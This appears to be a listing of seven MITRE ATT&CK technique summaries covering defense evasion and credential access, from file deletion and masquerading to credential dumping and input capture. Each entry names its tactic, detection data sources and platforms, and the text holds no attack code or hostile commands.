Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre